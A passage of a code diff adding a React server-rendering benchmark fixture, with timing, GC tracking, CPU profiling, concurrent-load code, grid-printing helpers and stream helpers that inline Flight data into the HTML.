if (canGC) globalThis.gc();
|
||||
|
||||
// Warmup
|
||||
for (let i = 0; i < warmup; i++) {
|
||||
await fn();
|
||||
}
|
||||
|
||||
// Collect GC pauses during timed iterations.
|
||||
let gcCount = 0;
|
||||
let gcTotalMs = 0;
|
||||
const gcObs = new PerformanceObserver(list => {
|
||||
for (const entry of list.getEntries()) {
|
||||
gcCount++;
|
||||
gcTotalMs += entry.duration;
|
||||
}
|
||||
});
|
||||
gcObs.observe({entryTypes: ['gc']});
|
||||
|
||||
// Timed iterations
|
||||
const times = [];
|
||||
for (let i = 0; i < iterations; i++) {
|
||||
const start = performance.now();
|
||||
await fn();
|
||||
times.push(performance.now() - start);
|
||||
}
|
||||
gcObs.disconnect();
|
||||
|
||||
// Trim top/bottom 5% to remove outliers
|
||||
const sorted = [...times].sort((a, b) => a - b);
|
||||
const trimCount = Math.floor(sorted.length * 0.05);
|
||||
const trimmed = sorted.slice(trimCount, sorted.length - trimCount);
|
||||
|
||||
const mean = trimmed.reduce((s, t) => s + t, 0) / trimmed.length;
|
||||
const median = sorted[Math.floor(sorted.length / 2)];
|
||||
const stddev = Math.sqrt(
|
||||
trimmed.reduce((s, t) => s + (t - mean) ** 2, 0) / trimmed.length
|
||||
);
|
||||
const p95 = sorted[Math.floor(sorted.length * 0.95)];
|
||||
const min = sorted[0];
|
||||
const max = sorted[sorted.length - 1];
|
||||
|
||||
return {
|
||||
name,
|
||||
mean,
|
||||
median,
|
||||
stddev,
|
||||
p95,
|
||||
min,
|
||||
max,
|
||||
iterations,
|
||||
gcCount,
|
||||
gcTotalMs,
|
||||
};
|
||||
}
|
||||
|
||||
function printResult(result) {
|
||||
console.log(' %s:', result.name);
|
||||
console.log(' Mean: %s ms', result.mean.toFixed(2));
|
||||
console.log(' Median: %s ms', result.median.toFixed(2));
|
||||
console.log(' Stddev: %s ms', result.stddev.toFixed(2));
|
||||
console.log(' P95: %s ms', result.p95.toFixed(2));
|
||||
console.log(' Min: %s ms', result.min.toFixed(2));
|
||||
console.log(' Max: %s ms', result.max.toFixed(2));
|
||||
console.log(
|
||||
' GC: %d pauses, %s ms total (%s ms/iter)',
|
||||
result.gcCount,
|
||||
result.gcTotalMs.toFixed(1),
|
||||
(result.gcTotalMs / result.iterations).toFixed(2)
|
||||
);
|
||||
}
|
||||
|
||||
async function runConcurrent(name, fn, total, concurrency, warmup) {
|
||||
if (canGC) globalThis.gc();
|
||||
|
||||
for (let i = 0; i < warmup; i++) {
|
||||
await fn();
|
||||
}
|
||||
|
||||
let gcCount = 0;
|
||||
let gcTotalMs = 0;
|
||||
const gcObs = new PerformanceObserver(list => {
|
||||
for (const entry of list.getEntries()) {
|
||||
gcCount++;
|
||||
gcTotalMs += entry.duration;
|
||||
}
|
||||
});
|
||||
gcObs.observe({entryTypes: ['gc']});
|
||||
|
||||
const latencies = new Array(total);
|
||||
let completed = 0;
|
||||
let launched = 0;
|
||||
|
||||
const start = performance.now();
|
||||
await new Promise(resolve => {
|
||||
function launch() {
|
||||
while (launched < total && launched - completed < concurrency) {
|
||||
const idx = launched++;
|
||||
const t0 = performance.now();
|
||||
fn().then(() => {
|
||||
latencies[idx] = performance.now() - t0;
|
||||
completed++;
|
||||
if (completed === total) {
|
||||
resolve();
|
||||
} else {
|
||||
launch();
|
||||
}
|
||||
});
|
||||
}
|
||||
}
|
||||
launch();
|
||||
});
|
||||
const elapsed = performance.now() - start;
|
||||
gcObs.disconnect();
|
||||
|
||||
const sorted = [...latencies].sort((a, b) => a - b);
|
||||
const mean = sorted.reduce((s, t) => s + t, 0) / sorted.length;
|
||||
const p95 = sorted[Math.floor(sorted.length * 0.95)];
|
||||
|
||||
return {
|
||||
name,
|
||||
reqPerSec: (total / elapsed) * 1000,
|
||||
mean,
|
||||
p95,
|
||||
total,
|
||||
concurrency,
|
||||
gcCount,
|
||||
gcTotalMs,
|
||||
};
|
||||
}
|
||||
|
||||
function printConcurrentResult(result) {
|
||||
console.log(' %s:', result.name);
|
||||
console.log(' Req/s: %s', result.reqPerSec.toFixed(1));
|
||||
console.log(' Mean: %s ms', result.mean.toFixed(2));
|
||||
console.log(' P95: %s ms', result.p95.toFixed(2));
|
||||
console.log(
|
||||
' GC: %d pauses, %s ms total (%s ms/req)',
|
||||
result.gcCount,
|
||||
result.gcTotalMs.toFixed(1),
|
||||
(result.gcTotalMs / result.total).toFixed(2)
|
||||
);
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// CPU Profiling
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
function startProfiler() {
|
||||
const session = new inspector.Session();
|
||||
session.connect();
|
||||
return new Promise(function (resolve, reject) {
|
||||
session.post('Profiler.enable', function (err) {
|
||||
if (err) {
|
||||
reject(err);
|
||||
return;
|
||||
}
|
||||
session.post('Profiler.start', function (err2) {
|
||||
if (err2) {
|
||||
reject(err2);
|
||||
return;
|
||||
}
|
||||
resolve(session);
|
||||
});
|
||||
});
|
||||
});
|
||||
}
|
||||
|
||||
function stopProfiler(session, outputPath) {
|
||||
return new Promise(function (resolve, reject) {
|
||||
session.post('Profiler.stop', function (err, {profile}) {
|
||||
if (err) {
|
||||
reject(err);
|
||||
return;
|
||||
}
|
||||
fs.mkdirSync(path.dirname(outputPath), {recursive: true});
|
||||
fs.writeFileSync(outputPath, JSON.stringify(profile));
|
||||
session.post('Profiler.disable');
|
||||
session.disconnect();
|
||||
resolve(profile);
|
||||
});
|
||||
});
|
||||
}
|
||||
|
||||
function printTopFunctions(profile, topN) {
|
||||
// Aggregate self-time per function from the profile nodes.
|
||||
const selfTimes = new Map();
|
||||
for (const node of profile.nodes) {
|
||||
const name = node.callFrame.functionName || '(anonymous)';
|
||||
const loc = node.callFrame.url
|
||||
? node.callFrame.url.replace(/.*\//, '') + ':' + node.callFrame.lineNumber
|
||||
: '(native)';
|
||||
const key = name + ' @ ' + loc;
|
||||
const hitCount = node.hitCount || 0;
|
||||
selfTimes.set(key, (selfTimes.get(key) || 0) + hitCount);
|
||||
}
|
||||
|
||||
const sorted = [...selfTimes.entries()]
|
||||
.sort((a, b) => b[1] - a[1])
|
||||
.slice(0, topN);
|
||||
|
||||
const totalSamples = profile.nodes.reduce((s, n) => s + (n.hitCount || 0), 0);
|
||||
|
||||
console.log(' Top %d functions by self-time:', topN);
|
||||
for (const [key, hits] of sorted) {
|
||||
const pct = ((hits / totalSamples) * 100).toFixed(1);
|
||||
console.log(' %s%% - %s', pct, key);
|
||||
}
|
||||
}
|
||||
|
||||
async function profileRun(name, fn, warmup, iterations, outputPath) {
|
||||
// Warmup (unprofiled)
|
||||
for (let i = 0; i < warmup; i++) {
|
||||
await fn();
|
||||
}
|
||||
|
||||
// Collect GC pauses during the profiled run.
|
||||
let gcCount = 0;
|
||||
let gcTotalMs = 0;
|
||||
const gcObs = new PerformanceObserver(list => {
|
||||
for (const entry of list.getEntries()) {
|
||||
gcCount++;
|
||||
gcTotalMs += entry.duration;
|
||||
}
|
||||
});
|
||||
gcObs.observe({entryTypes: ['gc']});
|
||||
|
||||
// Profiled run
|
||||
const session = await startProfiler();
|
||||
for (let i = 0; i < iterations; i++) {
|
||||
await fn();
|
||||
}
|
||||
const profile = await stopProfiler(session, outputPath);
|
||||
gcObs.disconnect();
|
||||
|
||||
console.log(' %s → %s', name, outputPath);
|
||||
printTopFunctions(profile, 10);
|
||||
console.log(
|
||||
' GC: %d pauses, %s ms total (%s ms/iter)',
|
||||
gcCount,
|
||||
gcTotalMs.toFixed(1),
|
||||
(gcTotalMs / iterations).toFixed(2)
|
||||
);
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// Main
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
async function main() {
|
||||
console.log('Building RSC bundle...\n');
|
||||
await build();
|
||||
|
||||
const {
|
||||
renderRSCNode,
|
||||
renderRSCEdge,
|
||||
App: RSCApp,
|
||||
AppAsync: RSCAppAsync,
|
||||
} = require('./build/rsc-bundle.js');
|
||||
const App = require('./src/App.js').default;
|
||||
const AppAsync = require('./src/AppAsync.js').default;
|
||||
|
||||
const ITEM_COUNT = 200;
|
||||
|
||||
const WARMUP = 50;
|
||||
const ITERATIONS = 1000;
|
||||
const PROFILE_WARMUP = 50;
|
||||
const PROFILE_ITERATIONS = 500;
|
||||
|
||||
// --- Verify renders ---
|
||||
console.log('\n--- Verifying renders ---\n');
|
||||
|
||||
const fizzNodeHtml = await renderFizzNode(App, ITEM_COUNT);
|
||||
console.log('Fizz (Node, sync): %d bytes', fizzNodeHtml.length);
|
||||
|
||||
const flightFizzNodeHtml = await renderFlightFizzNode(
|
||||
renderRSCNode,
|
||||
RSCApp,
|
||||
ITEM_COUNT
|
||||
);
|
||||
console.log(
|
||||
'Flight + Fizz (Node, sync): %d bytes',
|
||||
flightFizzNodeHtml.length
|
||||
);
|
||||
|
||||
const fizzNodeAsyncHtml = await renderFizzNode(AppAsync, ITEM_COUNT);
|
||||
console.log('Fizz (Node, async): %d bytes', fizzNodeAsyncHtml.length);
|
||||
|
||||
const flightFizzNodeAsyncHtml = await renderFlightFizzNode(
|
||||
renderRSCNode,
|
||||
RSCAppAsync,
|
||||
ITEM_COUNT
|
||||
);
|
||||
console.log(
|
||||
'Flight + Fizz (Node, async):%d bytes',
|
||||
flightFizzNodeAsyncHtml.length
|
||||
);
|
||||
|
||||
const fizzEdgeHtml = await renderFizzEdge(App, ITEM_COUNT);
|
||||
console.log('Fizz (Edge, sync): %d bytes', fizzEdgeHtml.length);
|
||||
|
||||
const fizzEdgeAsyncHtml = await renderFizzEdge(AppAsync, ITEM_COUNT);
|
||||
console.log('Fizz (Edge, async): %d bytes', fizzEdgeAsyncHtml.length);
|
||||
|
||||
const flightFizzEdgeHtml = await renderFlightFizzEdge(
|
||||
renderRSCEdge,
|
||||
RSCApp,
|
||||
ITEM_COUNT
|
||||
);
|
||||
console.log(
|
||||
'Flight + Fizz (Edge, sync): %d bytes',
|
||||
flightFizzEdgeHtml.length
|
||||
);
|
||||
|
||||
const flightFizzEdgeAsyncHtml = await renderFlightFizzEdge(
|
||||
renderRSCEdge,
|
||||
RSCAppAsync,
|
||||
ITEM_COUNT
|
||||
);
|
||||
console.log(
|
||||
'Flight + Fizz (Edge, async):%d bytes',
|
||||
flightFizzEdgeAsyncHtml.length
|
||||
);
|
||||
|
||||
// --- CPU Profiling ---
|
||||
if (PROFILE_MODE) {
|
||||
console.log(
|
||||
'\n--- CPU Profiling (%d warmup, %d iterations) ---\n',
|
||||
PROFILE_WARMUP,
|
||||
PROFILE_ITERATIONS
|
||||
);
|
||||
|
||||
const profileDir = path.resolve(__dirname, 'build/profiles');
|
||||
|
||||
await profileRun(
|
||||
'Fizz (Node, sync)',
|
||||
() => renderFizzNode(App, ITEM_COUNT),
|
||||
PROFILE_WARMUP,
|
||||
PROFILE_ITERATIONS,
|
||||
path.join(profileDir, 'fizz-node-sync.cpuprofile')
|
||||
);
|
||||
|
||||
await profileRun(
|
||||
'Flight + Fizz (Node, sync)',
|
||||
() => renderFlightFizzNode(renderRSCNode, RSCApp, ITEM_COUNT),
|
||||
PROFILE_WARMUP,
|
||||
PROFILE_ITERATIONS,
|
||||
path.join(profileDir, 'flight-fizz-node-sync.cpuprofile')
|
||||
);
|
||||
|
||||
await profileRun(
|
||||
'Fizz (Node, async)',
|
||||
() => renderFizzNode(AppAsync, ITEM_COUNT),
|
||||
PROFILE_WARMUP,
|
||||
PROFILE_ITERATIONS,
|
||||
path.join(profileDir, 'fizz-node-async.cpuprofile')
|
||||
);
|
||||
|
||||
await profileRun(
|
||||
'Flight + Fizz (Node, async)',
|
||||
() => renderFlightFizzNode(renderRSCNode, RSCAppAsync, ITEM_COUNT),
|
||||
PROFILE_WARMUP,
|
||||
PROFILE_ITERATIONS,
|
||||
path.join(profileDir, 'flight-fizz-node-async.cpuprofile')
|
||||
);
|
||||
|
||||
await profileRun(
|
||||
'Fizz (Edge, sync)',
|
||||
() => renderFizzEdge(App, ITEM_COUNT),
|
||||
PROFILE_WARMUP,
|
||||
PROFILE_ITERATIONS,
|
||||
path.join(profileDir, 'fizz-edge-sync.cpuprofile')
|
||||
);
|
||||
|
||||
await profileRun(
|
||||
'Flight + Fizz (Edge, sync)',
|
||||
() => renderFlightFizzEdge(renderRSCEdge, RSCApp, ITEM_COUNT),
|
||||
PROFILE_WARMUP,
|
||||
PROFILE_ITERATIONS,
|
||||
path.join(profileDir, 'flight-fizz-edge-sync.cpuprofile')
|
||||
);
|
||||
|
||||
await profileRun(
|
||||
'Fizz (Edge, async)',
|
||||
() => renderFizzEdge(AppAsync, ITEM_COUNT),
|
||||
PROFILE_WARMUP,
|
||||
PROFILE_ITERATIONS,
|
||||
path.join(profileDir, 'fizz-edge-async.cpuprofile')
|
||||
);
|
||||
|
||||
await profileRun(
|
||||
'Flight + Fizz (Edge, async)',
|
||||
() => renderFlightFizzEdge(renderRSCEdge, RSCAppAsync, ITEM_COUNT),
|
||||
PROFILE_WARMUP,
|
||||
PROFILE_ITERATIONS,
|
||||
path.join(profileDir, 'flight-fizz-edge-async.cpuprofile')
|
||||
);
|
||||
|
||||
console.log(
|
||||
'\nProfiles saved to build/profiles/. Open in Chrome DevTools or speedscope.app.'
|
||||
);
|
||||
|
||||
return;
|
||||
}
|
||||
|
||||
// --- Concurrent Benchmark ---
|
||||
if (CONCURRENT_MODE) {
|
||||
const CONCURRENCY = 50;
|
||||
const TOTAL = 1000;
|
||||
const CONC_WARMUP = 20;
|
||||
|
||||
console.log(
|
||||
'\n--- Concurrent Benchmark (%d warmup, %d concurrency, %d requests, %d items) ---\n',
|
||||
CONC_WARMUP,
|
||||
CONCURRENCY,
|
||||
TOTAL,
|
||||
ITEM_COUNT
|
||||
);
|
||||
|
||||
const fizzNodeSync = await runConcurrent(
|
||||
'Fizz (Node, sync)',
|
||||
() => renderFizzNode(App, ITEM_COUNT),
|
||||
TOTAL,
|
||||
CONCURRENCY,
|
||||
CONC_WARMUP
|
||||
);
|
||||
printConcurrentResult(fizzNodeSync);
|
||||
|
||||
const flightFizzNodeSync = await runConcurrent(
|
||||
'Flight + Fizz (Node, sync)',
|
||||
() => renderFlightFizzNode(renderRSCNode, RSCApp, ITEM_COUNT),
|
||||
TOTAL,
|
||||
CONCURRENCY,
|
||||
CONC_WARMUP
|
||||
);
|
||||
printConcurrentResult(flightFizzNodeSync);
|
||||
|
||||
const fizzNodeAsync = await runConcurrent(
|
||||
'Fizz (Node, async)',
|
||||
() => renderFizzNode(AppAsync, ITEM_COUNT),
|
||||
TOTAL,
|
||||
CONCURRENCY,
|
||||
CONC_WARMUP
|
||||
);
|
||||
printConcurrentResult(fizzNodeAsync);
|
||||
|
||||
const flightFizzNodeAsync = await runConcurrent(
|
||||
'Flight + Fizz (Node, async)',
|
||||
() => renderFlightFizzNode(renderRSCNode, RSCAppAsync, ITEM_COUNT),
|
||||
TOTAL,
|
||||
CONCURRENCY,
|
||||
CONC_WARMUP
|
||||
);
|
||||
printConcurrentResult(flightFizzNodeAsync);
|
||||
|
||||
const fizzEdgeSync = await runConcurrent(
|
||||
'Fizz (Edge, sync)',
|
||||
() => renderFizzEdge(App, ITEM_COUNT),
|
||||
TOTAL,
|
||||
CONCURRENCY,
|
||||
CONC_WARMUP
|
||||
);
|
||||
printConcurrentResult(fizzEdgeSync);
|
||||
|
||||
const flightFizzEdgeSync = await runConcurrent(
|
||||
'Flight + Fizz (Edge, sync)',
|
||||
() => renderFlightFizzEdge(renderRSCEdge, RSCApp, ITEM_COUNT),
|
||||
TOTAL,
|
||||
CONCURRENCY,
|
||||
CONC_WARMUP
|
||||
);
|
||||
printConcurrentResult(flightFizzEdgeSync);
|
||||
|
||||
const fizzEdgeAsync = await runConcurrent(
|
||||
'Fizz (Edge, async)',
|
||||
() => renderFizzEdge(AppAsync, ITEM_COUNT),
|
||||
TOTAL,
|
||||
CONCURRENCY,
|
||||
CONC_WARMUP
|
||||
);
|
||||
printConcurrentResult(fizzEdgeAsync);
|
||||
|
||||
const flightFizzEdgeAsync = await runConcurrent(
|
||||
'Flight + Fizz (Edge, async)',
|
||||
() => renderFlightFizzEdge(renderRSCEdge, RSCAppAsync, ITEM_COUNT),
|
||||
TOTAL,
|
||||
CONCURRENCY,
|
||||
CONC_WARMUP
|
||||
);
|
||||
printConcurrentResult(flightFizzEdgeAsync);
|
||||
|
||||
const rps = r => r.reqPerSec;
|
||||
|
||||
console.log('\n--- Flight overhead ---\n');
|
||||
printGrid(
|
||||
['Fizz', 'Flight+Fizz'],
|
||||
[
|
||||
['Node sync', fizzNodeSync, flightFizzNodeSync],
|
||||
['Node async', fizzNodeAsync, flightFizzNodeAsync],
|
||||
['Edge sync', fizzEdgeSync, flightFizzEdgeSync],
|
||||
['Edge async', fizzEdgeAsync, flightFizzEdgeAsync],
|
||||
],
|
||||
rps,
|
||||
'req/s',
|
||||
'higher is better'
|
||||
);
|
||||
|
||||
console.log('\n--- Edge vs Node ---\n');
|
||||
printGrid(
|
||||
['Node', 'Edge'],
|
||||
[
|
||||
['Fizz sync', fizzNodeSync, fizzEdgeSync],
|
||||
['Fizz async', fizzNodeAsync, fizzEdgeAsync],
|
||||
['Flight+Fizz sync', flightFizzNodeSync, flightFizzEdgeSync],
|
||||
['Flight+Fizz async', flightFizzNodeAsync, flightFizzEdgeAsync],
|
||||
],
|
||||
rps,
|
||||
'req/s',
|
||||
'higher is better'
|
||||
);
|
||||
|
||||
return;
|
||||
}
|
||||
|
||||
// --- Benchmark ---
|
||||
console.log(
|
||||
'\n--- Benchmark (%d warmup, %d iterations, %d items) ---\n',
|
||||
WARMUP,
|
||||
ITERATIONS,
|
||||
ITEM_COUNT
|
||||
);
|
||||
|
||||
const fizzNodeSync = await runBenchmark(
|
||||
'Fizz (Node, sync)',
|
||||
() => renderFizzNode(App, ITEM_COUNT),
|
||||
ITERATIONS,
|
||||
WARMUP
|
||||
);
|
||||
printResult(fizzNodeSync);
|
||||
|
||||
const flightFizzNodeSync = await runBenchmark(
|
||||
'Flight + Fizz (Node, sync)',
|
||||
() => renderFlightFizzNode(renderRSCNode, RSCApp, ITEM_COUNT),
|
||||
ITERATIONS,
|
||||
WARMUP
|
||||
);
|
||||
printResult(flightFizzNodeSync);
|
||||
|
||||
const fizzNodeAsync = await runBenchmark(
|
||||
'Fizz (Node, async)',
|
||||
() => renderFizzNode(AppAsync, ITEM_COUNT),
|
||||
ITERATIONS,
|
||||
WARMUP
|
||||
);
|
||||
printResult(fizzNodeAsync);
|
||||
|
||||
const flightFizzNodeAsync = await runBenchmark(
|
||||
'Flight + Fizz (Node, async)',
|
||||
() => renderFlightFizzNode(renderRSCNode, RSCAppAsync, ITEM_COUNT),
|
||||
ITERATIONS,
|
||||
WARMUP
|
||||
);
|
||||
printResult(flightFizzNodeAsync);
|
||||
|
||||
const fizzEdgeSync = await runBenchmark(
|
||||
'Fizz (Edge, sync)',
|
||||
() => renderFizzEdge(App, ITEM_COUNT),
|
||||
ITERATIONS,
|
||||
WARMUP
|
||||
);
|
||||
printResult(fizzEdgeSync);
|
||||
|
||||
const flightFizzEdgeSync = await runBenchmark(
|
||||
'Flight + Fizz (Edge, sync)',
|
||||
() => renderFlightFizzEdge(renderRSCEdge, RSCApp, ITEM_COUNT),
|
||||
ITERATIONS,
|
||||
WARMUP
|
||||
);
|
||||
printResult(flightFizzEdgeSync);
|
||||
|
||||
const fizzEdgeAsync = await runBenchmark(
|
||||
'Fizz (Edge, async)',
|
||||
() => renderFizzEdge(AppAsync, ITEM_COUNT),
|
||||
ITERATIONS,
|
||||
WARMUP
|
||||
);
|
||||
printResult(fizzEdgeAsync);
|
||||
|
||||
const flightFizzEdgeAsync = await runBenchmark(
|
||||
'Flight + Fizz (Edge, async)',
|
||||
() => renderFlightFizzEdge(renderRSCEdge, RSCAppAsync, ITEM_COUNT),
|
||||
ITERATIONS,
|
||||
WARMUP
|
||||
);
|
||||
printResult(flightFizzEdgeAsync);
|
||||
|
||||
const median = r => r.median;
|
||||
|
||||
console.log('\n--- Flight overhead ---\n');
|
||||
printGrid(
|
||||
['Fizz', 'Flight+Fizz'],
|
||||
[
|
||||
['Node sync', fizzNodeSync, flightFizzNodeSync],
|
||||
['Node async', fizzNodeAsync, flightFizzNodeAsync],
|
||||
['Edge sync', fizzEdgeSync, flightFizzEdgeSync],
|
||||
['Edge async', fizzEdgeAsync, flightFizzEdgeAsync],
|
||||
],
|
||||
median,
|
||||
'ms',
|
||||
'median, lower is better'
|
||||
);
|
||||
|
||||
console.log('\n--- Edge vs Node ---\n');
|
||||
printGrid(
|
||||
['Node', 'Edge'],
|
||||
[
|
||||
['Fizz sync', fizzNodeSync, fizzEdgeSync],
|
||||
['Fizz async', fizzNodeAsync, fizzEdgeAsync],
|
||||
['Flight+Fizz sync', flightFizzNodeSync, flightFizzEdgeSync],
|
||||
['Flight+Fizz async', flightFizzNodeAsync, flightFizzEdgeAsync],
|
||||
],
|
||||
median,
|
||||
'ms',
|
||||
'median, lower is better'
|
||||
);
|
||||
}
|
||||
|
||||
main().catch(function (err) {
|
||||
console.error(err);
|
||||
process.exit(1);
|
||||
});
|
||||
34
fixtures/flight-ssr-bench/package.json
Normal file
34
fixtures/flight-ssr-bench/package.json
Normal file
@@ -0,0 +1,34 @@
|
||||
{
|
||||
"name": "flight-ssr-bench",
|
||||
"version": "0.1.0",
|
||||
"private": true,
|
||||
"devEngines": {
|
||||
"node": "20.x || 22.x"
|
||||
},
|
||||
"dependencies": {
|
||||
"@babel/core": "^7.16.0",
|
||||
"@babel/preset-react": "^7.22.5",
|
||||
"@babel/register": "^7.28.6",
|
||||
"babel-loader": "^8.2.3",
|
||||
"react": "experimental",
|
||||
"react-dom": "experimental",
|
||||
"react-server-dom-webpack": "experimental",
|
||||
"autocannon": "^8.0.0",
|
||||
"webpack": "^5.64.4"
|
||||
},
|
||||
"scripts": {
|
||||
"copy-modules": "cp -r ../../build/oss-experimental/* ./node_modules/",
|
||||
"prebench": "yarn copy-modules",
|
||||
"prebench:bare": "yarn copy-modules",
|
||||
"prebench:profile": "yarn copy-modules",
|
||||
"prebench:concurrent": "yarn copy-modules",
|
||||
"prebench:server": "yarn copy-modules",
|
||||
"prestart": "yarn copy-modules",
|
||||
"start": "NODE_ENV=production node bench-server.js",
|
||||
"bench": "NODE_ENV=production node --expose-gc bench.js",
|
||||
"bench:profile": "NODE_ENV=production node --expose-gc bench.js --profile",
|
||||
"bench:bare": "NODE_ENV=production node --expose-gc bench.js --no-injection",
|
||||
"bench:concurrent": "NODE_ENV=production node --expose-gc bench.js --concurrent",
|
||||
"bench:server": "NODE_ENV=production node bench-server.js --bench"
|
||||
}
|
||||
}
|
||||
54
fixtures/flight-ssr-bench/print-helpers.js
Normal file
54
fixtures/flight-ssr-bench/print-helpers.js
Normal file
@@ -0,0 +1,54 @@
|
||||
'use strict';
|
||||
|
||||
function printGrid(colHeaders, rows, getValue, unit, note) {
|
||||
const labelWidth = Math.max(
|
||||
...rows.map(function (r) {
|
||||
return r[0].length;
|
||||
})
|
||||
);
|
||||
const suffix = unit ? ' ' + unit : '';
|
||||
const fmtVal = function (v) {
|
||||
return (v.toFixed(1) + suffix).padStart(10 + suffix.length);
|
||||
};
|
||||
const fmtPct = function (v) {
|
||||
return ((v >= 0 ? '+' : '') + v.toFixed(1) + '%').padStart(8);
|
||||
};
|
||||
const fmtFactor = function (va, vb) {
|
||||
return ((vb / va).toFixed(2) + 'x').padStart(7);
|
||||
};
|
||||
const colWidth = 10 + suffix.length;
|
||||
|
||||
const header =
|
||||
''.padEnd(labelWidth) +
|
||||
' ' +
|
||||
colHeaders
|
||||
.map(function (h) {
|
||||
return h.padStart(colWidth);
|
||||
})
|
||||
.join(' ') +
|
||||
' Delta Factor';
|
||||
console.log(' ' + header);
|
||||
console.log(' ' + '-'.repeat(header.length));
|
||||
for (const [label, a, b] of rows) {
|
||||
const va = getValue(a);
|
||||
const vb = getValue(b);
|
||||
const pct = ((vb - va) / va) * 100;
|
||||
console.log(
|
||||
' ' +
|
||||
label.padEnd(labelWidth) +
|
||||
' ' +
|
||||
fmtVal(va) +
|
||||
' ' +
|
||||
fmtVal(vb) +
|
||||
' ' +
|
||||
fmtPct(pct) +
|
||||
' ' +
|
||||
fmtFactor(va, vb)
|
||||
);
|
||||
}
|
||||
if (note) {
|
||||
console.log(' (%s)', note);
|
||||
}
|
||||
}
|
||||
|
||||
module.exports = {printGrid};
|
||||
329
fixtures/flight-ssr-bench/render-helpers.js
Normal file
329
fixtures/flight-ssr-bench/render-helpers.js
Normal file
@@ -0,0 +1,329 @@
|
||||
'use strict';
|
||||
|
||||
const {PassThrough, Transform} = require('stream');
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// Fizz (Node) — renders App directly via Node streams.
|
||||
// Returns a Node Readable stream of HTML.
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
function renderFizzNode(AppComponent, itemCount) {
|
||||
const React = require('react');
|
||||
const {renderToPipeableStream} = require('react-dom/server');
|
||||
|
||||
const output = new PassThrough();
|
||||
const {pipe} = renderToPipeableStream(
|
||||
React.createElement(AppComponent, {itemCount}),
|
||||
{
|
||||
onShellReady() {
|
||||
pipe(output);
|
||||
},
|
||||
onError(e) {
|
||||
console.error('Fizz Node error:', e);
|
||||
output.destroy(e);
|
||||
},
|
||||
}
|
||||
);
|
||||
return output;
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// Fizz (Edge) — renders App directly via web streams.
|
||||
// Returns a promise that resolves to a web ReadableStream of HTML.
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
function renderFizzEdge(AppComponent, itemCount) {
|
||||
const React = require('react');
|
||||
const {renderToReadableStream} = require('react-dom/server');
|
||||
|
||||
return renderToReadableStream(React.createElement(AppComponent, {itemCount}));
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// Flight + Fizz (Node) — RSC render → tee → Fizz + script injection.
|
||||
// HTML chunks are buffered within a tick to avoid injecting scripts mid-tag.
|
||||
// Returns a Node Readable stream of HTML with injected Flight scripts.
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
function renderFlightFizzNode(
|
||||
renderRSCNode,
|
||||
AppComponent,
|
||||
itemCount,
|
||||
clientManifest,
|
||||
ssrManifest,
|
||||
opts
|
||||
) {
|
||||
const inject = !opts || opts.inject !== false;
|
||||
const React = require('react');
|
||||
const {renderToPipeableStream} = require('react-dom/server');
|
||||
const {createFromNodeStream} = require('react-server-dom-webpack/client');
|
||||
|
||||
const {pipe: rscPipe} = renderRSCNode(
|
||||
clientManifest,
|
||||
AppComponent,
|
||||
itemCount
|
||||
);
|
||||
|
||||
let flightStream;
|
||||
let flightScripts = '';
|
||||
if (inject) {
|
||||
// Tee the Flight stream into SSR + script injection
|
||||
const trunk = new PassThrough();
|
||||
const forSsr = new PassThrough();
|
||||
const forInline = new PassThrough();
|
||||
trunk.pipe(forSsr);
|
||||
trunk.pipe(forInline);
|
||||
|
||||
forInline.on('data', function (chunk) {
|
||||
flightScripts +=
|
||||
'<script>(self.__FLIGHT_DATA||=[]).push(' +
|
||||
JSON.stringify(chunk.toString()) +
|
||||
')</script>';
|
||||
});
|
||||
|
||||
rscPipe(trunk);
|
||||
flightStream = forSsr;
|
||||
} else {
|
||||
flightStream = new PassThrough();
|
||||
rscPipe(flightStream);
|
||||
}
|
||||
|
||||
let cachedResult;
|
||||
function Root() {
|
||||
if (!cachedResult) {
|
||||
cachedResult = createFromNodeStream(flightStream, ssrManifest);
|
||||
}
|
||||
return React.use(cachedResult);
|
||||
}
|
||||
|
||||
const output = new PassThrough();
|
||||
|
||||
const {pipe} = renderToPipeableStream(React.createElement(Root), {
|
||||
onShellReady() {
|
||||
if (inject) {
|
||||
// Buffer HTML chunks within a tick to avoid injecting scripts mid-tag.
|
||||
const trailer = '</body></html>';
|
||||
let buffered = [];
|
||||
let timeout = null;
|
||||
const injector = new Transform({
|
||||
transform(chunk, _encoding, cb) {
|
||||
buffered.push(chunk);
|
||||
if (!timeout) {
|
||||
timeout = setTimeout(() => {
|
||||
for (const buf of buffered) {
|
||||
let str = buf.toString();
|
||||
if (str.endsWith(trailer)) {
|
||||
str = str.slice(0, -trailer.length);
|
||||
}
|
||||
this.push(str);
|
||||
}
|
||||
buffered.length = 0;
|
||||
timeout = null;
|
||||
if (flightScripts) {
|
||||
this.push(flightScripts);
|
||||
flightScripts = '';
|
||||
}
|
||||
}, 0);
|
||||
}
|
||||
cb();
|
||||
},
|
||||
flush(cb) {
|
||||
if (timeout) {
|
||||
clearTimeout(timeout);
|
||||
for (const buf of buffered) {
|
||||
let str = buf.toString();
|
||||
if (str.endsWith(trailer)) {
|
||||
str = str.slice(0, -trailer.length);
|
||||
}
|
||||
this.push(str);
|
||||
}
|
||||
buffered.length = 0;
|
||||
}
|
||||
if (flightScripts) {
|
||||
this.push(flightScripts);
|
||||
flightScripts = '';
|
||||
}
|
||||
this.push(trailer);
|
||||
cb();
|
||||
},
|
||||
});
|
||||
pipe(injector);
|
||||
injector.pipe(output);
|
||||
} else {
|
||||
pipe(output);
|
||||
}
|
||||
},
|
||||
onError(e) {
|
||||
console.error('Flight+Fizz Node error:', e);
|
||||
output.destroy(e);
|
||||
},
|
||||
});
|
||||
|
||||
return output;
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// Flight + Fizz (Edge) — RSC render → tee → Fizz + script injection via web
|
||||
// streams. HTML chunks are buffered within a tick to avoid injecting scripts
|
||||
// mid-tag. The </body></html> trailer is stripped, Flight scripts injected,
|
||||
// and the trailer re-added at flush.
|
||||
